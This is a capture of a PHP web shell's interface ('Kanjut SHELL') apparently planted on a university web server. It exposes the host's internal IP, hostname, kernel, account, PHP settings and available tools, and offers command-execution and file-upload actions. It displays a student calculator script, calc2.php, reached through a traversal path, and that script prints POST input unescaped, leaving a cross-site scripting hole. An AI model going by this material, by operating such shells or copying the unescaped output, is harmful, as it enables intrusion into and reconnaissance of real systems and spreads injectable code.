Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.148.117.237
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/mdwiberg/../jdgoode/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/mdwiberg/../jdgoode/public_html/calc2.php
<?php
session_start()
?>
<!DOCTYPE html>
<html>
<body>
<?php
$num1 = $_SESSION['f0']['num1'];
$num2 = $_SESSION['f0']['num2'];
print "First operand is $num1<br />Second operand is $num2<br 
/>Operator is '{$_POST['op']}'<br />";
print "$num1 {$_POST['op']} $num2 = ";
if ($_POST['op'] == '+') {
  print $num1 + $num2;
} else if ($_POST['op'] == '-') {
  print $num1 - $num2;
} else if ($_POST['op'] == '*') {
  print $num1 * $num2;
} else if ($_POST['op'] == '/') {
  if ($num2 == 0) {
    print "Error. Cannot divide $num1 by $num2 because second operand 
is 
zero.";
  } else {
    print $num1 / $num2;
  }
} else if($_POST['op'] == '%') {
  while ($num1 > $num2) {
    $num1 -= $num2;
  }
  print $num1;
} else {
  $tmp = $num1;
  while ($num2 > 1) {
    $num1 *= $tmp;
    $num2--;
  }
  print "$num1";
}
?>
</body>
</html>

Stv3n404 - 2023